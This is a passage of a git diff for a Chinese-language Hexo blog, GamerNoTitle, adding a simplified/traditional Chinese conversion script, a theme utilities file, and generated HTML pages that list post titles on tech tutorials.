'万与丑专业丛东丝丢两严丧个丬丰临为丽举么义乌乐乔习乡书买乱争于亏云亘亚产亩亲亵亸亿仅从仑仓仪们价众优伙会伛伞伟传伤伥伦伧伪伫体余佣佥侠侣侥侦侧侨侩侪侬俣俦俨俩俪俭债倾偬偻偾偿傥傧储傩儿兑兖党兰关兴兹养兽冁内冈册写军农冢冯冲决况冻净凄凉凌减凑凛几凤凫凭凯击凼凿刍划刘则刚创删别刬刭刽刿剀剂剐剑剥剧劝办务劢动励劲劳势勋勐勚匀匦匮区医华协单卖卢卤卧卫却卺厂厅历厉压厌厍厕厢厣厦厨厩厮县参叆叇双发变叙叠叶号叹叽吁后吓吕吗吣吨听启吴呒呓呕呖呗员呙呛呜咏咔咙咛咝咤咴咸哌响哑哒哓哔哕哗哙哜哝哟唛唝唠唡唢唣唤唿啧啬啭啮啰啴啸喷喽喾嗫呵嗳嘘嘤嘱噜噼嚣嚯团园囱围囵国图圆圣圹场坂坏块坚坛坜坝坞坟坠垄垅垆垒垦垧垩垫垭垯垱垲垴埘埙埚埝埯堑堕塆墙壮声壳壶壸处备复够头夸夹夺奁奂奋奖奥妆妇妈妩妪妫姗姜娄娅娆娇娈娱娲娴婳婴婵婶媪嫒嫔嫱嬷孙学孪宁宝实宠审宪宫宽宾寝对寻导寿将尔尘尧尴尸尽层屃屉届属屡屦屿岁岂岖岗岘岙岚岛岭岳岽岿峃峄峡峣峤峥峦崂崃崄崭嵘嵚嵛嵝嵴巅巩巯币帅师帏帐帘帜带帧帮帱帻帼幂幞干并广庄庆庐庑库应庙庞废庼廪开异弃张弥弪弯弹强归当录彟彦彻径徕御忆忏忧忾怀态怂怃怄怅怆怜总怼怿恋恳恶恸恹恺恻恼恽悦悫悬悭悯惊惧惨惩惫惬惭惮惯愍愠愤愦愿慑慭憷懑懒懔戆戋戏戗战戬户扎扑扦执扩扪扫扬扰抚抛抟抠抡抢护报担拟拢拣拥拦拧拨择挂挚挛挜挝挞挟挠挡挢挣挤挥挦捞损捡换捣据捻掳掴掷掸掺掼揸揽揿搀搁搂搅携摄摅摆摇摈摊撄撑撵撷撸撺擞攒敌敛数斋斓斗斩断无旧时旷旸昙昼昽显晋晒晓晔晕晖暂暧札术朴机杀杂权条来杨杩杰极构枞枢枣枥枧枨枪枫枭柜柠柽栀栅标栈栉栊栋栌栎栏树栖样栾桊桠桡桢档桤桥桦桧桨桩梦梼梾检棂椁椟椠椤椭楼榄榇榈榉槚槛槟槠横樯樱橥橱橹橼檐檩欢欤欧歼殁殇残殒殓殚殡殴毁毂毕毙毡毵氇气氢氩氲汇汉污汤汹沓沟没沣沤沥沦沧沨沩沪沵泞泪泶泷泸泺泻泼泽泾洁洒洼浃浅浆浇浈浉浊测浍济浏浐浑浒浓浔浕涂涌涛涝涞涟涠涡涢涣涤润涧涨涩淀渊渌渍渎渐渑渔渖渗温游湾湿溃溅溆溇滗滚滞滟滠满滢滤滥滦滨滩滪漤潆潇潋潍潜潴澜濑濒灏灭灯灵灾灿炀炉炖炜炝点炼炽烁烂烃烛烟烦烧烨烩烫烬热焕焖焘煅煳熘爱爷牍牦牵牺犊犟状犷犸犹狈狍狝狞独狭狮狯狰狱狲猃猎猕猡猪猫猬献獭玑玙玚玛玮环现玱玺珉珏珐珑珰珲琎琏琐琼瑶瑷璇璎瓒瓮瓯电画畅畲畴疖疗疟疠疡疬疮疯疱疴痈痉痒痖痨痪痫痴瘅瘆瘗瘘瘪瘫瘾瘿癞癣癫癯皑皱皲盏盐监盖盗盘眍眦眬着睁睐睑瞒瞩矫矶矾矿砀码砖砗砚砜砺砻砾础硁硅硕硖硗硙硚确硷碍碛碜碱碹磙礼祎祢祯祷祸禀禄禅离秃秆种积称秽秾稆税稣稳穑穷窃窍窑窜窝窥窦窭竖竞笃笋笔笕笺笼笾筑筚筛筜筝筹签简箓箦箧箨箩箪箫篑篓篮篱簖籁籴类籼粜粝粤粪粮糁糇紧絷纟纠纡红纣纤纥约级纨纩纪纫纬纭纮纯纰纱纲纳纴纵纶纷纸纹纺纻纼纽纾线绀绁绂练组绅细织终绉绊绋绌绍绎经绐绑绒结绔绕绖绗绘给绚绛络绝绞统绠绡绢绣绤绥绦继绨绩绪绫绬续绮绯绰绱绲绳维绵绶绷绸绹绺绻综绽绾绿缀缁缂缃缄缅缆缇缈缉缊缋缌缍缎缏缐缑缒缓缔缕编缗缘缙缚缛缜缝缞缟缠缡缢缣缤缥缦缧缨缩缪缫缬缭缮缯缰缱缲缳缴缵罂网罗罚罢罴羁羟羡翘翙翚耢耧耸耻聂聋职聍联聩聪肃肠肤肷肾肿胀胁胆胜胧胨胪胫胶脉脍脏脐脑脓脔脚脱脶脸腊腌腘腭腻腼腽腾膑臜舆舣舰舱舻艰艳艹艺节芈芗芜芦苁苇苈苋苌苍苎苏苘苹茎茏茑茔茕茧荆荐荙荚荛荜荞荟荠荡荣荤荥荦荧荨荩荪荫荬荭荮药莅莜莱莲莳莴莶获莸莹莺莼萚萝萤营萦萧萨葱蒇蒉蒋蒌蓝蓟蓠蓣蓥蓦蔷蔹蔺蔼蕲蕴薮藁藓虏虑虚虫虬虮虽虾虿蚀蚁蚂蚕蚝蚬蛊蛎蛏蛮蛰蛱蛲蛳蛴蜕蜗蜡蝇蝈蝉蝎蝼蝾螀螨蟏衅衔补衬衮袄袅袆袜袭袯装裆裈裢裣裤裥褛褴襁襕见观觃规觅视觇览觉觊觋觌觍觎觏觐觑觞触觯詟誉誊讠计订讣认讥讦讧讨让讪讫训议讯记讱讲讳讴讵讶讷许讹论讻讼讽设访诀证诂诃评诅识诇诈诉诊诋诌词诎诏诐译诒诓诔试诖诗诘诙诚诛诜话诞诟诠诡询诣诤该详诧诨诩诪诫诬语诮误诰诱诲诳说诵诶请诸诹诺读诼诽课诿谀谁谂调谄谅谆谇谈谊谋谌谍谎谏谐谑谒谓谔谕谖谗谘谙谚谛谜谝谞谟谠谡谢谣谤谥谦谧谨谩谪谫谬谭谮谯谰谱谲谳谴谵谶谷豮贝贞负贠贡财责贤败账货质贩贪贫贬购贮贯贰贱贲贳贴贵贶贷贸费贺贻贼贽贾贿赀赁赂赃资赅赆赇赈赉赊赋赌赍赎赏赐赑赒赓赔赕赖赗赘赙赚赛赜赝赞赟赠赡赢赣赪赵赶趋趱趸跃跄跖跞践跶跷跸跹跻踊踌踪踬踯蹑蹒蹰蹿躏躜躯车轧轨轩轪轫转轭轮软轰轱轲轳轴轵轶轷轸轹轺轻轼载轾轿辀辁辂较辄辅辆辇辈辉辊辋辌辍辎辏辐辑辒输辔辕辖辗辘辙辚辞辩辫边辽达迁过迈运还这进远违连迟迩迳迹适选逊递逦逻遗遥邓邝邬邮邹邺邻郁郄郏郐郑郓郦郧郸酝酦酱酽酾酿释里鉅鉴銮錾钆钇针钉钊钋钌钍钎钏钐钑钒钓钔钕钖钗钘钙钚钛钝钞钟钠钡钢钣钤钥钦钧钨钩钪钫钬钭钮钯钰钱钲钳钴钵钶钷钸钹钺钻钼钽钾钿铀铁铂铃铄铅铆铈铉铊铋铍铎铏铐铑铒铕铗铘铙铚铛铜铝铞铟铠铡铢铣铤铥铦铧铨铪铫铬铭铮铯铰铱铲铳铴铵银铷铸铹铺铻铼铽链铿销锁锂锃锄锅锆锇锈锉锊锋锌锍锎锏锐锑锒锓锔锕锖锗错锚锜锞锟锠锡锢锣锤锥锦锨锩锫锬锭键锯锰锱锲锳锴锵锶锷锸锹锺锻锼锽锾锿镀镁镂镃镆镇镈镉镊镌镍镎镏镐镑镒镕镖镗镙镚镛镜镝镞镟镠镡镢镣镤镥镦镧镨镩镪镫镬镭镮镯镰镱镲镳镴镶长门闩闪闫闬闭问闯闰闱闲闳间闵闶闷闸闹闺闻闼闽闾闿阀阁阂阃阄阅阆阇阈阉阊阋阌阍阎阏阐阑阒阓阔阕阖阗阘阙阚阛队阳阴阵阶际陆陇陈陉陕陧陨险随隐隶隽难雏雠雳雾霁霉霭靓静靥鞑鞒鞯鞴韦韧韨韩韪韫韬韵页顶顷顸项顺须顼顽顾顿颀颁颂颃预颅领颇颈颉颊颋颌颍颎颏颐频颒颓颔颕颖颗题颙颚颛颜额颞颟颠颡颢颣颤颥颦颧风飏飐飑飒飓飔飕飖飗飘飙飚飞飨餍饤饥饦饧饨饩饪饫饬饭饮饯饰饱饲饳饴饵饶饷饸饹饺饻饼饽饾饿馀馁馂馃馄馅馆馇馈馉馊馋馌馍馎馏馐馑馒馓馔馕马驭驮驯驰驱驲驳驴驵驶驷驸驹驺驻驼驽驾驿骀骁骂骃骄骅骆骇骈骉骊骋验骍骎骏骐骑骒骓骔骕骖骗骘骙骚骛骜骝骞骟骠骡骢骣骤骥骦骧髅髋髌鬓魇魉鱼鱽鱾鱿鲀鲁鲂鲄鲅鲆鲇鲈鲉鲊鲋鲌鲍鲎鲏鲐鲑鲒鲓鲔鲕鲖鲗鲘鲙鲚鲛鲜鲝鲞鲟鲠鲡鲢鲣鲤鲥鲦鲧鲨鲩鲪鲫鲬鲭鲮鲯鲰鲱鲲鲳鲴鲵鲶鲷鲸鲹鲺鲻鲼鲽鲾鲿鳀鳁鳂鳃鳄鳅鳆鳇鳈鳉鳊鳋鳌鳍鳎鳏鳐鳑鳒鳓鳔鳕鳖鳗鳘鳙鳛鳜鳝鳞鳟鳠鳡鳢鳣鸟鸠鸡鸢鸣鸤鸥鸦鸧鸨鸩鸪鸫鸬鸭鸮鸯鸰鸱鸲鸳鸴鸵鸶鸷鸸鸹鸺鸻鸼鸽鸾鸿鹀鹁鹂鹃鹄鹅鹆鹇鹈鹉鹊鹋鹌鹍鹎鹏鹐鹑鹒鹓鹔鹕鹖鹗鹘鹚鹛鹜鹝鹞鹟鹠鹡鹢鹣鹤鹥鹦鹧鹨鹩鹪鹫鹬鹭鹯鹰鹱鹲鹳鹴鹾麦麸黄黉黡黩黪黾龙历志制一台皋准复猛钟注范签' + } + function FTPYStr () { + return '萬與醜專業叢東絲丟兩嚴喪個爿豐臨為麗舉麼義烏樂喬習鄉書買亂爭於虧雲亙亞產畝親褻嚲億僅從侖倉儀們價眾優夥會傴傘偉傳傷倀倫傖偽佇體餘傭僉俠侶僥偵側僑儈儕儂俁儔儼倆儷儉債傾傯僂僨償儻儐儲儺兒兌兗黨蘭關興茲養獸囅內岡冊寫軍農塚馮衝決況凍淨淒涼淩減湊凜幾鳳鳧憑凱擊氹鑿芻劃劉則剛創刪別剗剄劊劌剴劑剮劍剝劇勸辦務勱動勵勁勞勢勳猛勩勻匭匱區醫華協單賣盧鹵臥衛卻巹廠廳曆厲壓厭厙廁廂厴廈廚廄廝縣參靉靆雙發變敘疊葉號歎嘰籲後嚇呂嗎唚噸聽啟吳嘸囈嘔嚦唄員咼嗆嗚詠哢嚨嚀噝吒噅鹹呱響啞噠嘵嗶噦嘩噲嚌噥喲嘜嗊嘮啢嗩唕喚呼嘖嗇囀齧囉嘽嘯噴嘍嚳囁嗬噯噓嚶囑嚕劈囂謔團園囪圍圇國圖圓聖壙場阪壞塊堅壇壢壩塢墳墜壟壟壚壘墾坰堊墊埡墶壋塏堖塒塤堝墊垵塹墮壪牆壯聲殼壺壼處備複夠頭誇夾奪奩奐奮獎奧妝婦媽嫵嫗媯姍薑婁婭嬈嬌孌娛媧嫻嫿嬰嬋嬸媼嬡嬪嬙嬤孫學孿寧寶實寵審憲宮寬賓寢對尋導壽將爾塵堯尷屍盡層屭屜屆屬屢屨嶼歲豈嶇崗峴嶴嵐島嶺嶽崠巋嶨嶧峽嶢嶠崢巒嶗崍嶮嶄嶸嶔崳嶁脊巔鞏巰幣帥師幃帳簾幟帶幀幫幬幘幗冪襆幹並廣莊慶廬廡庫應廟龐廢廎廩開異棄張彌弳彎彈強歸當錄彠彥徹徑徠禦憶懺憂愾懷態慫憮慪悵愴憐總懟懌戀懇惡慟懨愷惻惱惲悅愨懸慳憫驚懼慘懲憊愜慚憚慣湣慍憤憒願懾憖怵懣懶懍戇戔戲戧戰戩戶紮撲扡執擴捫掃揚擾撫拋摶摳掄搶護報擔擬攏揀擁攔擰撥擇掛摯攣掗撾撻挾撓擋撟掙擠揮撏撈損撿換搗據撚擄摑擲撣摻摜摣攬撳攙擱摟攪攜攝攄擺搖擯攤攖撐攆擷擼攛擻攢敵斂數齋斕鬥斬斷無舊時曠暘曇晝曨顯晉曬曉曄暈暉暫曖劄術樸機殺雜權條來楊榪傑極構樅樞棗櫪梘棖槍楓梟櫃檸檉梔柵標棧櫛櫳棟櫨櫟欄樹棲樣欒棬椏橈楨檔榿橋樺檜槳樁夢檮棶檢欞槨櫝槧欏橢樓欖櫬櫚櫸檟檻檳櫧橫檣櫻櫫櫥櫓櫞簷檁歡歟歐殲歿殤殘殞殮殫殯毆毀轂畢斃氈毿氌氣氫氬氳彙漢汙湯洶遝溝沒灃漚瀝淪滄渢溈滬濔濘淚澩瀧瀘濼瀉潑澤涇潔灑窪浹淺漿澆湞溮濁測澮濟瀏滻渾滸濃潯濜塗湧濤澇淶漣潿渦溳渙滌潤澗漲澀澱淵淥漬瀆漸澠漁瀋滲溫遊灣濕潰濺漵漊潷滾滯灩灄滿瀅濾濫灤濱灘澦濫瀠瀟瀲濰潛瀦瀾瀨瀕灝滅燈靈災燦煬爐燉煒熗點煉熾爍爛烴燭煙煩燒燁燴燙燼熱煥燜燾煆糊溜愛爺牘犛牽犧犢強狀獷獁猶狽麅獮獰獨狹獅獪猙獄猻獫獵獼玀豬貓蝟獻獺璣璵瑒瑪瑋環現瑲璽瑉玨琺瓏璫琿璡璉瑣瓊瑤璦璿瓔瓚甕甌電畫暢佘疇癤療瘧癘瘍鬁瘡瘋皰屙癰痙癢瘂癆瘓癇癡癉瘮瘞瘺癟癱癮癭癩癬癲臒皚皺皸盞鹽監蓋盜盤瞘眥矓著睜睞瞼瞞矚矯磯礬礦碭碼磚硨硯碸礪礱礫礎硜矽碩硤磽磑礄確鹼礙磧磣堿镟滾禮禕禰禎禱禍稟祿禪離禿稈種積稱穢穠穭稅穌穩穡窮竊竅窯竄窩窺竇窶豎競篤筍筆筧箋籠籩築篳篩簹箏籌簽簡籙簀篋籜籮簞簫簣簍籃籬籪籟糴類秈糶糲粵糞糧糝餱緊縶糸糾紆紅紂纖紇約級紈纊紀紉緯紜紘純紕紗綱納紝縱綸紛紙紋紡紵紖紐紓線紺絏紱練組紳細織終縐絆紼絀紹繹經紿綁絨結絝繞絰絎繪給絢絳絡絕絞統綆綃絹繡綌綏絛繼綈績緒綾緓續綺緋綽緔緄繩維綿綬繃綢綯綹綣綜綻綰綠綴緇緙緗緘緬纜緹緲緝縕繢緦綞緞緶線緱縋緩締縷編緡緣縉縛縟縝縫縗縞纏縭縊縑繽縹縵縲纓縮繆繅纈繚繕繒韁繾繰繯繳纘罌網羅罰罷羆羈羥羨翹翽翬耮耬聳恥聶聾職聹聯聵聰肅腸膚膁腎腫脹脅膽勝朧腖臚脛膠脈膾髒臍腦膿臠腳脫腡臉臘醃膕齶膩靦膃騰臏臢輿艤艦艙艫艱豔艸藝節羋薌蕪蘆蓯葦藶莧萇蒼苧蘇檾蘋莖蘢蔦塋煢繭荊薦薘莢蕘蓽蕎薈薺蕩榮葷滎犖熒蕁藎蓀蔭蕒葒葤藥蒞蓧萊蓮蒔萵薟獲蕕瑩鶯蓴蘀蘿螢營縈蕭薩蔥蕆蕢蔣蔞藍薊蘺蕷鎣驀薔蘞藺藹蘄蘊藪槁蘚虜慮虛蟲虯蟣雖蝦蠆蝕蟻螞蠶蠔蜆蠱蠣蟶蠻蟄蛺蟯螄蠐蛻蝸蠟蠅蟈蟬蠍螻蠑螿蟎蠨釁銜補襯袞襖嫋褘襪襲襏裝襠褌褳襝褲襇褸襤繈襴見觀覎規覓視覘覽覺覬覡覿覥覦覯覲覷觴觸觶讋譽謄訁計訂訃認譏訐訌討讓訕訖訓議訊記訒講諱謳詎訝訥許訛論訩訟諷設訪訣證詁訶評詛識詗詐訴診詆謅詞詘詔詖譯詒誆誄試詿詩詰詼誠誅詵話誕詬詮詭詢詣諍該詳詫諢詡譸誡誣語誚誤誥誘誨誑說誦誒請諸諏諾讀諑誹課諉諛誰諗調諂諒諄誶談誼謀諶諜謊諫諧謔謁謂諤諭諼讒諮諳諺諦謎諞諝謨讜謖謝謠謗諡謙謐謹謾謫譾謬譚譖譙讕譜譎讞譴譫讖穀豶貝貞負貟貢財責賢敗賬貨質販貪貧貶購貯貫貳賤賁貰貼貴貺貸貿費賀貽賊贄賈賄貲賃賂贓資賅贐賕賑賚賒賦賭齎贖賞賜贔賙賡賠賧賴賵贅賻賺賽賾贗讚贇贈贍贏贛赬趙趕趨趲躉躍蹌蹠躒踐躂蹺蹕躚躋踴躊蹤躓躑躡蹣躕躥躪躦軀車軋軌軒軑軔轉軛輪軟轟軲軻轤軸軹軼軤軫轢軺輕軾載輊轎輈輇輅較輒輔輛輦輩輝輥輞輬輟輜輳輻輯轀輸轡轅轄輾轆轍轔辭辯辮邊遼達遷過邁運還這進遠違連遲邇逕跡適選遜遞邐邏遺遙鄧鄺鄔郵鄒鄴鄰鬱郤郟鄶鄭鄆酈鄖鄲醞醱醬釅釃釀釋裏钜鑒鑾鏨釓釔針釘釗釙釕釷釺釧釤鈒釩釣鍆釹鍚釵鈃鈣鈈鈦鈍鈔鍾鈉鋇鋼鈑鈐鑰欽鈞鎢鉤鈧鈁鈥鈄鈕鈀鈺錢鉦鉗鈷缽鈳鉕鈽鈸鉞鑽鉬鉭鉀鈿鈾鐵鉑鈴鑠鉛鉚鈰鉉鉈鉍鈹鐸鉶銬銠鉺銪鋏鋣鐃銍鐺銅鋁銱銦鎧鍘銖銑鋌銩銛鏵銓鉿銚鉻銘錚銫鉸銥鏟銃鐋銨銀銣鑄鐒鋪鋙錸鋱鏈鏗銷鎖鋰鋥鋤鍋鋯鋨鏽銼鋝鋒鋅鋶鐦鐧銳銻鋃鋟鋦錒錆鍺錯錨錡錁錕錩錫錮鑼錘錐錦鍁錈錇錟錠鍵鋸錳錙鍥鍈鍇鏘鍶鍔鍤鍬鍾鍛鎪鍠鍰鎄鍍鎂鏤鎡鏌鎮鎛鎘鑷鐫鎳鎿鎦鎬鎊鎰鎔鏢鏜鏍鏰鏞鏡鏑鏃鏇鏐鐔钁鐐鏷鑥鐓鑭鐠鑹鏹鐙鑊鐳鐶鐲鐮鐿鑔鑣鑞鑲長門閂閃閆閈閉問闖閏闈閑閎間閔閌悶閘鬧閨聞闥閩閭闓閥閣閡閫鬮閱閬闍閾閹閶鬩閿閽閻閼闡闌闃闠闊闋闔闐闒闕闞闤隊陽陰陣階際陸隴陳陘陝隉隕險隨隱隸雋難雛讎靂霧霽黴靄靚靜靨韃鞽韉韝韋韌韍韓韙韞韜韻頁頂頃頇項順須頊頑顧頓頎頒頌頏預顱領頗頸頡頰頲頜潁熲頦頤頻頮頹頷頴穎顆題顒顎顓顏額顳顢顛顙顥纇顫顬顰顴風颺颭颮颯颶颸颼颻飀飄飆飆飛饗饜飣饑飥餳飩餼飪飫飭飯飲餞飾飽飼飿飴餌饒餉餄餎餃餏餅餑餖餓餘餒餕餜餛餡館餷饋餶餿饞饁饃餺餾饈饉饅饊饌饢馬馭馱馴馳驅馹駁驢駔駛駟駙駒騶駐駝駑駕驛駘驍罵駰驕驊駱駭駢驫驪騁驗騂駸駿騏騎騍騅騌驌驂騙騭騤騷騖驁騮騫騸驃騾驄驏驟驥驦驤髏髖髕鬢魘魎魚魛魢魷魨魯魴魺鮁鮃鯰鱸鮋鮓鮒鮊鮑鱟鮍鮐鮭鮚鮳鮪鮞鮦鰂鮜鱠鱭鮫鮮鮺鯗鱘鯁鱺鰱鰹鯉鰣鰷鯀鯊鯇鮶鯽鯒鯖鯪鯕鯫鯡鯤鯧鯝鯢鯰鯛鯨鯵鯴鯔鱝鰈鰏鱨鯷鰮鰃鰓鱷鰍鰒鰉鰁鱂鯿鰠鼇鰭鰨鰥鰩鰟鰜鰳鰾鱈鱉鰻鰵鱅鰼鱖鱔鱗鱒鱯鱤鱧鱣鳥鳩雞鳶鳴鳲鷗鴉鶬鴇鴆鴣鶇鸕鴨鴞鴦鴒鴟鴝鴛鴬鴕鷥鷙鴯鴰鵂鴴鵃鴿鸞鴻鵐鵓鸝鵑鵠鵝鵒鷳鵜鵡鵲鶓鵪鶤鵯鵬鵮鶉鶊鵷鷫鶘鶡鶚鶻鶿鶥鶩鷊鷂鶲鶹鶺鷁鶼鶴鷖鸚鷓鷚鷯鷦鷲鷸鷺鸇鷹鸌鸏鸛鸘鹺麥麩黃黌黶黷黲黽龍歷誌製壹臺臯準復勐鐘註範籤' + } + function Traditionalized (cc) { + let str = '' + const ss = JTPYStr() + const tt = FTPYStr() + for (let i = 0; i < cc.length; i++) { + if (cc.charCodeAt(i) > 10000 && ss.indexOf(cc.charAt(i)) !== -1) { str += tt.charAt(ss.indexOf(cc.charAt(i))) } else str += cc.charAt(i) + } + return str + } + function Simplized (cc) { + let str = '' + const ss = JTPYStr() + const tt = FTPYStr() + for (let i = 0; i < cc.length; i++) { + if (cc.charCodeAt(i) > 10000 && tt.indexOf(cc.charAt(i)) !== -1) { str += ss.charAt(tt.indexOf(cc.charAt(i))) } else str += cc.charAt(i) + } + return str + } + function translateInitialization () { + translateButtonObject = document.getElementById('translateLink') + if (translateButtonObject) { + if (currentEncoding !== targetEncoding) { + setTimeout(translateBody, translateDelay) + if (targetEncoding === 1) translateButtonObject.innerHTML = msgToSimplifiedChinese + else translateButtonObject.innerHTML = msgToTraditionalChinese + } + translateButtonObject.addEventListener('click', translatePage, false) + } + } + translateInitialization() + document.addEventListener('pjax:complete', translateInitialization) +}) diff --git a/js/utils.js b/js/utils.js new file mode 100644 index 0000000000..a1be368003 --- /dev/null +++ b/js/utils.js @@ -0,0 +1,278 @@ +const btf = { + debounce: function (func, wait, immediate) { + let timeout + return function () { + const context = this + const args = arguments + const later = function () { + timeout = null + if (!immediate) func.apply(context, args) + } + const callNow = immediate && !timeout + clearTimeout(timeout) + timeout = setTimeout(later, wait) + if (callNow) func.apply(context, args) + } + }, + + throttle: function (func, wait, options) { + let timeout, context, args + let previous = 0 + if (!options) options = {} + + const later = function () { + previous = options.leading === false ? 0 : new Date().getTime() + timeout = null + func.apply(context, args) + if (!timeout) context = args = null + } + + const throttled = function () { + const now = new Date().getTime() + if (!previous && options.leading === false) previous = now + const remaining = wait - (now - previous) + context = this + args = arguments + if (remaining <= 0 || remaining > wait) { + if (timeout) { + clearTimeout(timeout) + timeout = null + } + previous = now + func.apply(context, args) + if (!timeout) context = args = null + } else if (!timeout && options.trailing !== false) { + timeout = setTimeout(later, remaining) + } + } + + return throttled + }, + + sidebarPaddingR: () => { + const innerWidth = window.innerWidth + const clientWidth = document.body.clientWidth + const paddingRight = innerWidth - clientWidth + if (innerWidth !== clientWidth) { + document.body.style.paddingRight = paddingRight + 'px' + } + }, + + snackbarShow: (text, showAction = false, duration = 2000) => { + const { position, bgLight, bgDark } = GLOBAL_CONFIG.Snackbar + const bg = document.documentElement.getAttribute('data-theme') === 'light' ? bgLight : bgDark + Snackbar.show({ + text: text, + backgroundColor: bg, + showAction: showAction, + duration: duration, + pos: position, + customClass: 'snackbar-css' + }) + }, + + diffDate: (d, more = false) => { + const dateNow = new Date() + const datePost = new Date(d) + const dateDiff = dateNow.getTime() - datePost.getTime() + const minute = 1000 * 60 + const hour = minute * 60 + const day = hour * 24 + const month = day * 30 + + let result + if (more) { + const monthCount = dateDiff / month + const dayCount = dateDiff / day + const hourCount = dateDiff / hour + const minuteCount = dateDiff / minute + + if (monthCount > 12) { + result = datePost.toLocaleDateString().replace(/\//g, '-') + } else if (monthCount >= 1) { + result = parseInt(monthCount) + ' ' + GLOBAL_CONFIG.date_suffix.month + } else if (dayCount >= 1) { + result = parseInt(dayCount) + ' ' + GLOBAL_CONFIG.date_suffix.day + } else if (hourCount >= 1) { + result = parseInt(hourCount) + ' ' + GLOBAL_CONFIG.date_suffix.hour + } else if (minuteCount >= 1) { + result = parseInt(minuteCount) + ' ' + GLOBAL_CONFIG.date_suffix.min + } else { + result = GLOBAL_CONFIG.date_suffix.just + } + } else { + result = parseInt(dateDiff / day) + } + return result + }, + + loadComment: (dom, callback) => { + if ('IntersectionObserver' in window) { + const observerItem = new IntersectionObserver((entries) => { + if (entries[0].isIntersecting) { + callback() + observerItem.disconnect() + } + }, { threshold: [0] }) + observerItem.observe(dom) + } else { + callback() + } + }, + + scrollToDest: (pos, time = 500) => { + const currentPos = window.pageYOffset + if (currentPos > pos) pos = pos - 70 + + if ('scrollBehavior' in document.documentElement.style) { + window.scrollTo({ + top: pos, + behavior: 'smooth' + }) + return + } + + let start = null + pos = +pos + window.requestAnimationFrame(function step (currentTime) { + start = !start ? currentTime : start + const progress = currentTime - start + if (currentPos < pos) { + window.scrollTo(0, ((pos - currentPos) * progress / time) + currentPos) + } else { + window.scrollTo(0, currentPos - ((currentPos - pos) * progress / time)) + } + if (progress < time) { + window.requestAnimationFrame(step) + } else { + window.scrollTo(0, pos) + } + }) + }, + + animateIn: (ele, text) => { + ele.style.display = 'block' + ele.style.animation = text + }, + + animateOut: (ele, text) => { + ele.addEventListener('animationend', function f () { + ele.style.display = '' + ele.style.animation = '' + ele.removeEventListener('animationend', f) + }) + ele.style.animation = text + }, + + getParents: (elem, selector) => { + for (; elem && elem !== document; elem = elem.parentNode) { + if (elem.matches(selector)) return elem + } + return null + }, + + siblings: (ele, selector) => { + return [...ele.parentNode.children].filter((child) => { + if (selector) { + return child !== ele && child.matches(selector) + } + return child !== ele + }) + }, + + /** + * @param {*} selector + * @param {*} eleType the type of create element + * @param {*} options object key: value + */ + wrap: (selector, eleType, options) => { + const creatEle = document.createElement(eleType) + for (const [key, value] of Object.entries(options)) { + creatEle.setAttribute(key, value) + } + selector.parentNode.insertBefore(creatEle, selector) + creatEle.appendChild(selector) + }, + + unwrap: el => { + const elParentNode = el.parentNode + if (elParentNode !== document.body) { + elParentNode.parentNode.insertBefore(el, elParentNode) + elParentNode.parentNode.removeChild(elParentNode) + } + }, + + isHidden: ele => ele.offsetHeight === 0 && ele.offsetWidth === 0, + + getEleTop: ele => { + let actualTop = ele.offsetTop + let current = ele.offsetParent + + while (current !== null) { + actualTop += current.offsetTop + current = current.offsetParent + } + + return actualTop + }, + + loadLightbox: ele => { + const service = GLOBAL_CONFIG.lightbox + + if (service === 'mediumZoom') { + const zoom = mediumZoom(ele) + zoom.on('open', e => { + const photoBg = document.documentElement.getAttribute('data-theme') === 'dark' ? '#121212' : '#fff' + zoom.update({ + background: photoBg + }) + }) + } + + if (service === 'fancybox') { + ele.forEach(i => { + if (i.parentNode.tagName !== 'A') { + const dataSrc = i.dataset.lazySrc || i.src + const dataCaption = i.title || i.alt || '' + btf.wrap(i, 'a', { href: dataSrc, 'data-fancybox': 'gallery', 'data-caption': dataCaption, 'data-thumb': dataSrc }) + } + }) + + if (!window.fancyboxRun) { + Fancybox.bind('[data-fancybox]', { + Hash: false, + Thumbs: { + autoStart: false + } + }) + window.fancyboxRun = true + } + } + }, + + initJustifiedGallery: function (selector) { + selector.forEach(function (i) { + if (!btf.isHidden(i)) { + fjGallery(i, { + itemSelector: '.fj-gallery-item', + rowHeight: 220, + gutter: 4, + onJustify: function () { + this.$container.style.opacity = '1' + } + }) + } + }) + }, + + updateAnchor: (anchor) => { + if (anchor !== window.location.hash) { + if (!anchor) anchor = location.pathname + const title = GLOBAL_CONFIG_SITE.title + window.history.replaceState({ + url: location.href, + title: title + }, title, anchor) + } + } +} diff --git a/link/index.html b/link/index.html new file mode 100644 index 0000000000..60c001d4d5 --- /dev/null +++ b/link/index.html @@ -0,0 +1,866 @@ +友情链接 | GamerNoTitle + + + + + + + + + + + + + + + +

Comment
\ No newline at end of file diff --git a/page/10/index.html b/page/10/index.html new file mode 100644 index 0000000000..c856e8ac93 --- /dev/null +++ b/page/10/index.html @@ -0,0 +1,343 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
最全面的Hexo部署方法,交给你了~
白嫖Office365?这种好事我当然要来!
被限速的日子,该过去了!
别再问我怎么装系统了,再问我就把这边文章丢到你脸上!
Cmd的互替软件,让Cmder来帮助你更好地使用控制台!
\ No newline at end of file diff --git a/page/2/index.html b/page/2/index.html new file mode 100644 index 0000000000..5348fefb8e --- /dev/null +++ b/page/2/index.html @@ -0,0 +1,445 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
白嫖Repl.it的服务,让你的服务不间断运行
关于我玩Stable-diffusion-webui的那些事
将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用
使用Vercel平台部署哔哩漫游服务器(HK、SEA)
与新冠肺炎搏斗的那些日子
使用Fly.io平台部署哔哩漫游服务器
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
移动你的WSA数据盘,让你的C盘不再爆满
从零开始的Python ACM Ch.9:动态规划
从零开始的Python ACM Ch.8:综合题目
\ No newline at end of file diff --git a/page/3/index.html b/page/3/index.html new file mode 100644 index 0000000000..f428f9d347 --- /dev/null +++ b/page/3/index.html @@ -0,0 +1,407 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
从零开始的Python ACM Ch.7:整数练习
从零开始的Python ACM Ch.6:质数与整数练习
从零开始的Python ACM Ch.5:练习系列
从零开始的Python ACM Ch.4:序列和字符串的算法
从零开始的Python ACM Ch.3:队列、链表与二叉树
从零开始的Python ACM Ch.2:时间复杂度、栈、面向对象及链表
从零开始的Python ACM Ch.1:数据类型及基本数据处理
使用Python和Qt5来制作带有GUI的程序(持续更新)
